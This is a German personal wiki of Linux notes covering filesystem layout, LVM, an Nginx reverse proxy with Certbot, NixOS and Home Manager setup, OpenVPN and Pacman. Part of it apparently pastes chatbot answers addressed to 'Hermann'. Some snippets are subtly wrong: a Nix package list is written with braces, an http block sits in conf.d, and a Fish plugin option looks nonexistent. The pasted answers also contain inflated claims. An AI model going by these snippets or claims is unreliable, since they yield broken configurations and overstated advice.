</td><td>Dateien von Snap-Paketen  
</td></tr><tr><td>/srv  
</td><td>  
</td><td>Services: Daten die von anderen Diensten weitergegeben werden   
</td></tr><tr><td>/sys  
</td><td>  
</td><td>  
</td></tr><tr><td>/tmp  
</td><td>  
</td><td>Temporäres Verzeichnes wird geleert nach dem herunterfahren  
</td></tr><tr><td>/usr  
</td><td>  
</td><td>Systemwerkzeuge und Bibliotheken  
</td></tr><tr><td>/var  
</td><td>  
</td><td>Variable daten die sich öfters verändern  
</td></tr><tr><td>/var/log  
</td><td>  
</td><td>Logfiles  
</td></tr></tbody></table>

### Swap

Swappartion verhält sich wie ein Arbeitsspeicher. Ist die Erweiterung des Arbeitsspeichers.

### Partitionen

Festplatten werden in `/dev` abgelegt

`lsblk` zeigt alle Partitionen an  
die Loop sind für snap geschichten und nicht relevant.   
`df -h` zeigt auch die Partitionen an  
Eindeutige ID einer Partition: `blkid` oder `lsblk -o NAME,SIZE,FSTYPE,MOUNTPOINT,UUID`

### Mount

Festplatten werden im Normalfall mit dem Daemon Udev gemountet

### LVM

Logical Volume Manager

Mehrere Festplatten zu einer Kombinieren b

<table border="1" id="bkmrk-befehle-pvs-zeigt-fe" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>Befehle  
</td><td>  
</td></tr><tr><td>pvs  
</td><td>Zeigt Festplatten an  
</td></tr><tr><td>vgs  
</td><td>zeigt Verbund an  
</td></tr><tr><td>lvs  
</td><td>Zeigt auch was an.   
</td></tr></tbody></table>

# Linux Tipps Readly

Emojis in Linux

[![grafik.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/scaled-1680-/BSSgrafik.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/BSSgrafik.png)

[![grafik.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/scaled-1680-/piZgrafik.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/piZgrafik.png)

[![grafik.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/scaled-1680-/26Ggrafik.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/26Ggrafik.png)

[![grafik.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/scaled-1680-/Vi8grafik.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/Vi8grafik.png)

[![grafik.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/scaled-1680-/6wwgrafik.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/6wwgrafik.png)

[![grafik.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/scaled-1680-/TrAgrafik.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/TrAgrafik.png)

[![grafik.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/scaled-1680-/sbWgrafik.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/sbWgrafik.png)

[![grafik.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/scaled-1680-/BCWgrafik.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/BCWgrafik.png)

[![grafik.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/scaled-1680-/jAigrafik.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/jAigrafik.png)

# Nginx Reverse Proxy

[Docker installieren](https://wiki.hhml.selfhost.co/books/linux/page/docker-docker-compose-und-portainer-installieren "Docker, Docker-Compose und Portainer installieren")

Nginx Proxymanager als Dockerimage erstellen

[https://nginxproxymanager.com/setup/#running-on-raspberry-pi-arm-devices](https://nginxproxymanager.com/setup/#running-on-raspberry-pi-arm-devices)

#### Datei erstellen

docker-compse.yml Datei erstellen

<p class="callout warning">MYSQL\_PASSWORD anpassen</p>

im Ordner der Docker Compose File folgenden Befehl absetzen:

```
docker-compose up -d
```

## Default Administrator User

```
Email:    admin@example.com
Password: changeme

```

Immediately after logging in with this default user you will be asked to modify your details and change your password.

#### Upgrade zu neuer Version

```bash
docker-compose down
docker-compose pull
docker-compose up -d
```

<div class="page-content" id="bkmrk-version-%236-erstellt%3A"><div class="entity-meta">Proxy Stand 2023-06</div></div><div class="entity-meta" id="bkmrk-"></div>[![Bildschirmfoto 2023-06-11 um 22.56.38.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-06/scaled-1680-/bildschirmfoto-2023-06-11-um-22-56-38.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-06/bildschirmfoto-2023-06-11-um-22-56-38.png)

### Nginx manuelle Installation

**Schritt 1:** Installation von Nginx

```
sudo apt-get update
sudo apt-get install nginx
```

**Schritt 2:** Konfiguration des Reverse Proxys

```
cd /etc/nginx/conf.d/
```

Erstellen der Konfiguartionsdatei für den Reverse Proxy:

```
sudo nano reverse_proxy.conf
```

Folgenden Inhalt in die Datei

```
server {
    listen 80;
    server_name DOMAIN_NAME;

    location / {
        proxy_pass http://IP_ADDRESS:PORT;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}
```

Ersetzen Sie "DOMAIN\_NAME" durch den Domainnamen oder die IP-Adresse des Servers, über den Sie auf die Computer im Netzwerk zugreifen möchten. Ersetzen Sie außerdem "IP\_ADDRESS" durch die IP-Adresse des Computers, den Sie verfügbar machen möchten, und "PORT" durch den entsprechenden Port des Dienstes, auf den Sie zugreifen möchten.

**Schritt 3:**  Neustart des Nginx-Servers

```
sudo service nginx restart
```

**Schritt 4: Firewall-Einstellungen**

Firewall-Einstellungen Wenn Sie eine Firewall auf Ihrem System verwenden (z. B. UFW), müssen Sie möglicherweise den Port öffnen, den Sie in der Konfigurationsdatei festgelegt haben. Verwenden Sie den folgenden Befehl, um den Port zu öffnen (ersetzen Sie "PORT" durch den tatsächlichen Port):

```
sudo ufw allow PORT
```

**Schritt 5**: Überprüfung des Reverse Proxys Geben Sie die Domain oder IP-Adresse des Servers, über den Sie auf die Computer im Netzwerk zugreifen möchten, in einen Webbrowser ein. Wenn alles korrekt konfiguriert ist, sollten Sie auf den Dienst zugreifen können, der auf dem Computer im Netzwerk läuft.

#### SSL-Zertifikat

**Schritt 1:** Installation des Certbot-Tools Certbot ist ein Open-Source-Tool, das die Einrichtung von SSL-Zertifikaten von Let's Encrypt automatisiert. Installieren Sie Certbot auf Ihrem Linux-System, indem Sie die Anweisungen auf der offiziellen Certbot-Website befolgen. Die genauen Schritte können je nach Linux-Distribution variieren.

**Schritt 2:** Konfiguration des Webservers Stellen Sie sicher, dass Ihr Webserver (z.B. Nginx oder Apache) ordnungsgemäß für die Subdomain konfiguriert ist. Die Subdomain muss auf den richtigen Server verweisen und die erforderlichen Einstellungen für den SSL-Traffic zulassen.

**Schritt 2a**: Öffnen Sie das Terminal auf Ihrem Linux-System.

**Schritt 2b**: Führen Sie die folgenden Befehle aus, um Certbot zu installieren und das Nginx-Plugin zu aktivieren:

```
sudo apt update 
sudo apt install certbot python3-certbot-nginx
```

Diese Befehle aktualisieren zunächst die Paketlisten auf Ihrem System und installieren dann Certbot sowie das Nginx-Plugin für Certbot.

**Schritt 2c:** Überprüfen Sie, ob Certbot erfolgreich installiert wurde, indem Sie den Befehl `certbot --version` ausführen. Sie sollten eine Ausgabe sehen, die die installierte Version von Certbot anzeigt.

**Schritt 2d:** Konfiguration des Nginx-Plugins in Certbot: Certbot benötigt Informationen über die Nginx-Konfiguration, um das SSL-Zertifikat erfolgreich zu generieren. Führen Sie den folgenden Befehl aus, um das Nginx-Plugin in Certbot zu konfigurieren:

```
sudo certbot --nginx
```

<div class="bg-black rounded-md mb-4" id="bkmrk--2"><div class="flex items-center relative text-gray-200 bg-gray-800 px-4 py-2 text-xs font-sans justify-between rounded-t-md">  
</div><div class="p-4 overflow-y-auto">  
</div></div>Certbot wird die Nginx-Konfiguration analysieren und Ihnen dann eine Liste der verfügbaren Domains anzeigen, für die Sie ein SSL-Zertifikat erhalten können. Wählen Sie die gewünschte Subdomain aus, indem Sie die entsprechende Nummer eingeben und die Anweisungen befolgen.

**Schritt 2e:** Überprüfen Sie die Zertifikatserstellung: Certbot führt eine Herausforderung durch, um Ihre Kontrolle über die Subdomain zu überprüfen. Stellen Sie sicher, dass der Nginx-Server während dieses Prozesses erreichbar ist.

Certbot generiert das SSL-Zertifikat und speichert es auf Ihrem System. Die genauen Speicherorte variieren je nach Linux-Distribution und Nginx-Konfiguration. Certbot nimmt automatisch die erforderlichen Änderungen an Ihrer Nginx-Konfigurationsdatei vor, um das neu erstellte SSL-Zertifikat zu verwenden.

**Schritt 2f:** Neustart des Nginx-Servers: Starten Sie den Nginx-Server neu, damit die Konfigurationsänderungen wirksam werden:

```
sudo service nginx restart
```

Nach Abschluss dieser Schritte sollte der Nginx Reverse Proxy das gültige SSL-Zertifikat verwenden und den Datenverkehr über HTTPS verschlüsseln. Überprüfen Sie dies, indem Sie die Subdomain in einem Webbrowser öffnen und sicherstellen, dass das Zertifikat korrekt funktioniert.

**Schritt 3:** Zertifikatserstellung mit Certbot Führen Sie den folgenden Befehl aus, um Certbot zu verwenden und ein SSL-Zertifikat für den Reverse Proxy zu erhalten:

```
sudo certbot certonly --nginx -d subdomain.example.com
```

Ersetzen Sie "subdomain.example.com" durch Ihre eigene Subdomain.

Certbot interagiert mit Nginx, erkennt die Konfiguration der Subdomain und fordert Sie auf, den gewünschten Domainnamen und die E-Mail-Adresse einzugeben. Befolgen Sie die Anweisungen, um den Prozess abzuschließen.

**Schritt 4**: Konfiguration des Nginx Reverse Proxys Certbot sollte automatisch die erforderlichen Änderungen an Ihrer Nginx-Konfigurationsdatei vornehmen, um das neu erstellte SSL-Zertifikat zu verwenden. In der Regel werden die Änderungen in einer separaten Konfigurationsdatei unter `/etc/nginx/conf.d/` vorgenommen.

Überprüfen Sie die Nginx-Konfigurationsdateien und stellen Sie sicher, dass der Reverse Proxy ordnungsgemäß auf das SSL-Zertifikat verweist. Normalerweise werden die SSL-Einstellungen in einer `server`-Block-Konfiguration wie folgt aussehen:

```
server {
    listen 443 ssl;
    server_name subdomain.example.com;

    ssl_certificate /etc/letsencrypt/live/subdomain.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/subdomain.example.com/privkey.pem;

    location / {
        proxy_pass http://IP_ADDRESS:PORT;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}
```

Stellen Sie sicher, dass die Pfade zu den Zertifikatdateien (`ssl_certificate` und `ssl_certificate_key`) korrekt angegeben sind und auf die von Certbot generierten Zertifikate verweisen.

Schritt 5: Neustart des Nginx-Servers Starten Sie den Nginx-Server neu, damit die Konfigurationsänderungen wirksam werden:

```
sudo service nginx restart
```

Nach Abschluss dieser Schritte sollte der Nginx Reverse Proxy das gültige SSL-Zertifikat verwenden und den Datenverkehr über HTTPS verschlüsseln. Überprüfen Sie dies, indem Sie die Subdomain in einem Webbrowser öffnen und sicherstellen, dass das Zertifikat korrekt funktioniert.

#### Konfiguratinsdatei für mehrere Subdomains

Wie sieht die Config-Datei aus, wenn mehrere Rechner durchgeleitet werden sollen:

```bash
http {
    # HTTPS-Server für Port 443
    server {
        listen 443 ssl;
        server_name subdomain1.example.com;

        ssl_certificate /etc/letsencrypt/live/subdomain1.example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/subdomain1.example.com/privkey.pem;

        location / {
            proxy_pass http://IP_ADDRESS1:PORT1;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }

    # HTTPS-Server für Port 443, zweite Subdomain
    server {
        listen 443 ssl;
        server_name subdomain2.example.com;

        ssl_certificate /etc/letsencrypt/live/subdomain2.example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/subdomain2.example.com/privkey.pem;

        location / {
            proxy_pass http://IP_ADDRESS2:PORT2;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }

    # Weitere server-Blöcke für zusätzliche Subdomains und Reverse-Proxy-Verbindungen
    # ...

    # Weitere Nginx-Konfigurationseinstellungen
    # ...
}
```

# NixOS

Befehle

Apps suchen unter [https://search.nixos.org/packages](https://search.nixos.org/packages)

<table border="1" id="bkmrk-nix-shell--p-bitward" style="border-collapse: collapse; width: 99.9058%;"><colgroup><col style="width: 50.0472%;"></col><col style="width: 50.0472%;"></col></colgroup><tbody><tr><td>nix-shell -p bitwarden</td><td>zum installieren von Bitwarden </td></tr><tr><td>nix-env --install bitwarden</td><td>installiert Bitwarden im System permanent</td></tr><tr><td>sudo nixos-rebuild switch --upgrade</td><td>Update des Systems</td></tr><tr><td>sudo nixos-rebuild switch --rollback</td><td>Vorherigen Stand wiederherstellen.</td></tr></tbody></table>

## Programme Dauerhaft installieren

```
sudo nano /etc/nixos/configuration.nix
```

Füge das Programm hinzu

```bash
environment.systemPackages = with pkgs; {
  htop 
  # andere Pakete hier hinzufügen
}
```

Aktualisiere die NixOs-Konfiguration

```bash
sudo nixos-rebuild switch
```

## Nix Konfiguration im Homeordner

```
mkdir ~/nixos
sudo cp -r /etc/nixos/* ~/nixos/
```

kopiert die einstellungen in den Homeordner. Der kann leichter gesichert werden.

Git erstellen

```
cd ~/nixos
git init
git add .
git commit -m "Erster Stand"
```

### 2. Online-Repo erstellen (GitHub, GitLab, Gitea, Codeberg …)

### 3. Verknüpfen:

```
git remote add origin <URL>
git push -u origin main
```

Ab jetzt sicherst du Änderungen mit:

```
git add .
git commit -m "Update"
git push
```

#### ⭐ **Weg 2: Backup auf USB-Stick**

```
git clone ~/nixos /media/usb/nixos-backup
```

#### ⭐ **Weg 3: Backup in einer Cloud (OneDrive, Dropbox, Nextcloud)**

Den ganzen Ordner `~/nixos` einfach in einen Sync‑Ordner legen:

```
mv ~/nixos ~/OneDrive/nixos

```

→ Git + Cloud = doppelte Sicherheit.

#### 🔁 **Wie stelle ich das System später wieder her?**

Neue Maschine? Festplatte neu?

Du installierst NixOS minimal und machst danach:

```
git clone <repo-url> ~/nixos
cd ~/nixos
sudo nixos-rebuild switch --flake .

```

💥 **Boom — dein ganzes System ist zurück.**

#### 🛡️ **Was passiert mit deinen eigenen Skripten?**

Wenn du deine eigenen Skripte in dein Git‑Repo legst, z. B.:

```
~/nixos/scripts/meinskript.sh

```

und in der Nix‑Konfiguration referenzierst:

<div id="bkmrk-werden-sie-im-repo-v" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">- werden sie **im Repo versioniert**
- beim Rebuild **in den Nix Store kopiert**
- bei Neuinstallation **automatisch wiederhergestellt**

</div>**Damit ist das Problem „/home/hermann/bin existiert nicht“ sauber gelöst.**

Du kannst deinen Konfigurationsordner z. B. so anlegen:

```
~/Nextcloud/nixos/
```

Und dann:

```
cd ~/Nextcloud/nixos
git init
git add .
git commit -m "Initial commit"
```

### ✔️ **Wiederherstellung extrem einfach**

Neue Maschine oder Neuinstallation?

```
cd ~/Nextcloud/nixos
sudo nixos-rebuild switch --flake .
```

#### ⭐ **Git + Nextcloud = doppelte Sicherheit**

Der beste Setup ist:

<div id="bkmrk-ordner-in-nextcloud%3A" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">1. Ordner in Nextcloud:
    
    ```
    ~/Nextcloud/nixos
    
    ```
2. Git‑Repo in diesem Ordner:
    
    ```
    cd ~/Nextcloud/nixos
    git init
    
    ```

</div>#### ⭐ Wichtiges Detail:

Du solltest den Ordner nicht gleichzeitig in `/etc/nixos` haben

Stattdessen:

<div id="bkmrk-arbeite-und-speicher" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">1. **Arbeite und speichere in:**
    
    ```
    ~/Nextcloud/nixos
    
    ```
2. **Und verknüpfe `/etc/nixos` mit deinem Ordner**

</div>z. B. via Symlink:

```
sudo rm -r /etc/nixos
sudo ln -s ~/Nextcloud/nixos /etc/nixos

```

Dann ist `/etc/nixos` nur ein Zeiger – und du bearbeitest alles dort, wo Nextcloud es sichert.

## Nixpaket selber machen 

```
{ stdenv }:

stdenv.mkDerivation {
  name = "hello";
  src = ./hello.sh;
  installPhase = ''
    mkdir -p $out/bin
    cp $src $out/bin/hello
  '';
}
```

Ein Skript selber einbinden über Flake

```
environment.systemPackages = [ self.packages.${system}.meinProgramm ];
```

## Flakes

```
{
  description = "Meine NixOS-Konfiguration";

  inputs = {
    nixpkgs.url = "github:nixos/nixpkgs/nixos-unstable";
  };

  outputs = { self, nixpkgs }: {
    packages.x86_64-linux.defaultPackage = 
      nixpkgs.legacyPackages.x86_64-linux.hello;
  };
}
```

### Konfiguration von einstellungen

über den Home-Manger

```

programs.bash.enable = true;

programs.bash.shellAliases = {
  ll = "ls -la";
};

programs.bash.initExtra = ''
  export EDITOR=nvim
'';

```

Ja, Hermann — **du kannst die Fish‑Shell absolut mit Home Manager verwenden** und das funktioniert sogar **sehr komfortabel**, viel besser als manuelles Dotfile‑Gebastel.

Ich zeige dir genau:

<div id="bkmrk-%E2%9C%94%EF%B8%8F-ob-es-geht-%28ja%29-%E2%9C%94" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">- ✔️ ob es geht (JA)
- ✔️ wie du Fish aktivierst
- ✔️ wie du deine eigene Konfiguration einbringst
- ✔️ wie du Plugins und Aliases verwaltest
- ✔️ warum Home Manager das perfekt unterstützt

---

</div># ⭐ **Ja, Home Manager unterstützt die Fish‑Shell vollständig**

Home Manager hat ein eigenes Modul:

programs.fish.enable = true;

Damit erzeugt Home Manager automatisch:

<div id="bkmrk-deine-config.fish-de" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">- deine `config.fish`
- dein Fish‑Init‑Skript
- deine Aliases
- deine Funktionen
- deine Plugins (über `oh-my-fish` oder Fisher)

</div>Du musst nicht mehr manuell in `~/.config/fish/config.fish` arbeiten.

<div id="bkmrk-" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># 🧩 **Beispiel: Fish in Home Manager aktivieren**

In deiner Home‑Manager‑Config (z. B. `home/hermann.nix`):

```
programs.fish = {
  enable = true;
  interactiveShellInit = ''
    echo "Hallo Herrmann, Welcome to Fish!"
  '';
  shellAliases = {
    ll = "ls -alh";
    gs = "git status";
  };
};
```

Damit erledigt Home Manager:

<div id="bkmrk-shell-aktivieren-kon" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">- Shell aktivieren
- Konfiguration erzeugen
- Aliases setzen
- Init‑Code einfügen

---

</div># ⭐ **Fish als Standardshell setzen**

Zusätzlich in NixOS selbst:

users.users.hermann.shell = pkgs.fish;

Dann ist Fish auch beim Login (TTY oder GUI) aktiv.

<div id="bkmrk--1" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># 🎣 **Fish Plugins einbinden**

Du kannst direkt Plugins definieren:

<div id="bkmrk-programs.fish.plugin" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><div class="">programs.fish.plugins = [</div><div class=""> {</div><div class=""> name = "fzf-fish";</div><div class=""> src = pkgs.fzf-fish;</div><div class=""> }</div><div class="">];</div></div>Oder mit Fisher:

<div id="bkmrk-programs.fish.fisher" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><div class="">programs.fish.fisherPlugins = [</div><div class=""> "jorgebucaran/fisher"</div><div class=""> "jethrokuan/z"</div><div class=""> "PatrickF1/fzf.fish"</div><div class="">];</div></div>Home Manager installiert alles sauber und reproduzierbar.

<div id="bkmrk--2" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># ⭐ **Eigene Konfiguration einfügen**

Wenn du eigene Fish‑Funktionen oder eigene Konfigdateien hast:

**Variante A — Inline-Konfiguration:**

<div id="bkmrk-programs.fish.intera" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><div class="">programs.fish.interactiveShellInit = ''</div><div class=""> set -g EDITOR nvim</div><div class="">'';</div></div>**Variante B — ganze Dateien einbinden:**

<div id="bkmrk-home.file.%22.config%2Ff" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><div class="">home.file.".config/fish/functions/myfun.fish".source = ./functions/myfun.fish;</div><div class="">``</div></div>Home Manager legt diese Dateien automatisch an.

<div id="bkmrk--3" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># ⭐ **Warum Fish + Home Manager so gut zusammenpassen**

<div id="bkmrk-keine-dotfiles-mehr-" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">- Keine Dotfiles mehr kopieren
- Keine Konflikte mehr
- Identische Shell überall (Laptop, PC, Server)
- Rollbacks funktionieren
- Plugins sauber versioniert
- Backups über Git + Nextcloud automatisch gesichert

</div>Viele NixOS‑User nutzen Fish **genau wegen Home Manager**, weil das Zusammenspiel perfekt ist.

<div id="bkmrk--4" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># ❗ **Wichtiger Hinweis**

Wenn Home Manager aktiv ist, solltest du **niemals** die Datei:

```
~/.config/fish/config.fish

```

manuell bearbeiten.

Home Manager überschreibt sie bei jedem „Rebuild“.  
Alle Änderungen gehören in die Home‑Manager‑Config.

<div id="bkmrk--5" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># ❓ Kontrollfrage

Wenn du Fish über Home Manager aktivierst — **wo sollten deine Aliases, Plugins und Konfigurationen gespeichert werden?**

a) Direkt in `~/.config/fish/config.fish`  
b) In der Home‑Manager‑Konfiguration (`home/hermann.nix`)  
c) In `/etc/nixos/configuration.nix`  
d) In `/home/hermann/bin`

Welcher Buchstabe ist richtig?

Alles klar, Hermann — ich gebe dir jetzt die **sauberste, stabilste und wirklich praxistaugliche Best‑Practice‑Methode**, um ein vollständig funktionierendes NixOS‑System **auf einem neuen Rechner oder nach einer Neuinstallation** wiederherzustellen.

Du bekommst:

<div id="bkmrk-den-genauen-ablauf%2C-" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">- **den genauen Ablauf**, Schritt für Schritt
- **was du vorher sichern musst**
- **was NixOS rekonstruiert**
- **wie du Nextcloud + Git effektiv nutzt**
- **den exakten Wiederherstellungsprozess** (minimal, klar, idiotensicher)

</div>Das ist die Methode, die 99 % der erfahrenen NixOS‑User nutzen.

<div id="bkmrk--7" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># ⭐ **Best Practice: Ein neues NixOS wiederherstellen, wenn die Konfiguration in Nextcloud liegt**

## 📌 **Vorher (auf deinem Hauptsystem): Was du in Nextcloud brauchst**

In `~/Nextcloud/nixos` liegt idealerweise:

```
nixos/
  flake.nix
  flake.lock
  nixos/
    configuration.nix
    hardware-configuration.nix
  home/
    hermann.nix
  scripts/
    eigene Skripte
  modules/
    optionale Module

```

UND:  
Das Ganze als **Git‑Repository**, damit du Versionen hast.

<div id="bkmrk--8" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># ⭐ **Schritt‑für‑Schritt Wiederherstellung auf einem frisch installierten NixOS**

## 🟦 **Schritt 0 – Minimal NixOS installieren (ohne Konfiguration)**

Während der grafische Installer fragt:

<div id="bkmrk-partitionierung-%E2%86%92-eg" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">- Partitionierung → egal
- User erstellen → ja
- Desktop → egal
- Konfiguration erzeugen lassen → JA (wegen hardware‑configuration.nix)

</div>Nach der Installation hast du ein absolut minimales Grundsystem.

<div id="bkmrk--9" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># 🟦 **Schritt 1 – Bei deiner Nextcloud anmelden**

Nach dem ersten Boot:

<div id="bkmrk-starte-dein-system-m" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">1. Starte dein System
2. Melde dich in Nextcloud an
3. Warte, bis der Ordner `~/Nextcloud/nixos` synchronisiert ist

</div>> **Du brauchst KEINE NixOS‑Konfig im System — die kommt jetzt komplett aus Nextcloud.**

<div id="bkmrk--10" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># 🟦 **Schritt 2 – /etc/nixos durch deine Nextcloud-Version ersetzen**

### 1. Alte config entfernen:

sudo rm -rf /etc/nixos

### 2. Symlink auf deine Nextcloud‑Konfig setzen:

sudo ln -s ~/Nextcloud/nixos /etc/nixos

Ab jetzt ist `/etc/nixos` nur noch ein Zeiger auf deine Nextcloud‑Config.

<div id="bkmrk--11" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># 🟦 **Schritt 3 – NixOS rebuild**

Wenn du Flakes nutzt (empfohlen):

sudo nixos-rebuild switch --flake /etc/nixos

UND DU BIST FERTIG.

💥 **Dein komplettes System ist wiederhergestellt.**

Was wird automatisch gesetzt?

<div id="bkmrk-alle-systempakete-al" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">- alle Systempakete
- alle Dienste
- alle Netzwerkeinstellungen
- alle Nutzer
- deine Shell (z. B. Fish)
- deine Home‑Manager‑Konfiguration
- deine Fonts
- deine Window‑Manager‑ oder Desktop‑Konfiguration
- deine Skripte (wenn sie als Pakete eingebunden sind)
- deine Dotfiles (generiert von Home Manager)
- etc.

</div>Alles, was DU definiert hast.

<div id="bkmrk--12" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># ⭐ **Was wird NICHT automatisch wiederhergestellt?**

Nur:

<div id="bkmrk-private-dateien-%28%7E%2Fd" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">- private Dateien (`~/Documents`, `~/Pictures`, etc.)
- Downloads
- Medien
- zufällige Dateien im Home‑Verzeichnis

</div>Aber die liegen **in deiner Nextcloud**, also sind sie sowieso wieder da.

Der Rest ist komplett durch NixOS und Home Manager reproduziert.

<div id="bkmrk--13" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># 🟦 **Schritt 4 – Fertig. Wirklich.**

Kein Rumkopieren.  
Kein händisches Nachkonfigurieren.  
Keine Dotfiles anpassen.  
Keine Programme neu installieren.  
Kein Chaos.

<div id="bkmrk--14" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># ⭐ **Warum ist diese Methode „Best Practice“?**

Weil:

<div id="bkmrk-nextcloud-deine-date" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">- **Nextcloud** deine Daten sichert
- **Git** deine komplette Versionierung speichert
- **NixOS** dein System reproduzierbar macht
- **Home Manager** dein Home reproduzierbar macht
- **Flakes** alles sauber einfrieren

</div>Diese Kombination ist:

👉 **das stabilste Desktop‑Setup, das du in Linux bekommen kannst**  
👉 **komplett unzerstörbar**  
👉 **100 % portabel auf jeden Rechner**

<div id="bkmrk--15" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># 🧠 **Beispiel: Neuinstallation in der Praxis**

<div id="bkmrk-neuer-pc-nixos-minim" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">- Neuer PC
- NixOS minimal installieren (egal wie)
- Nextcloud anmelden
- Warten bis `~/Nextcloud/nixos` synchronisiert ist
- Symlink setzen
- Rebuild
- Fertig

</div>Dauer: **5–10 Minuten**.  
Dein ganzes System ist identisch wie vorher.

<div id="bkmrk--16" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">---

</div># ❓ Kontrollfrage

Warum setzt man auf einem neuen NixOS nach der Installation **einen Symlink** von:

```
/etc/nixos → ~/Nextcloud/nixos

```

statt die Dateien einfach zu kopieren?

(Ein Satz reicht.)

# OpenVPN

Mit OpenVPN Verbindugen herstellen

Wenn nicht installiert: `sudo apt install openvpn`

Datei zum verbinden besorgen

Verbindung aufbauen:

`sudo openvpn /pfad/zur/datei/config.ovpn`

Verbindung trennen:

`sudo systemctl stop openvpn@config.ovpn`

# Pacman

## <span class="mw-headline" id="bkmrk-installation-1">Installation</span>

Pacman ist bereits Bestandteil jeder Arch Linux-Installation.

## <span class="mw-headline" id="bkmrk-die-wichtigsten-pacm-1">Die wichtigsten Pacman-Befehle</span>

Für neue Arch Linux-AnwenderInnen seien zunächst die wichtigsten Pacman-Befehle angeführt.

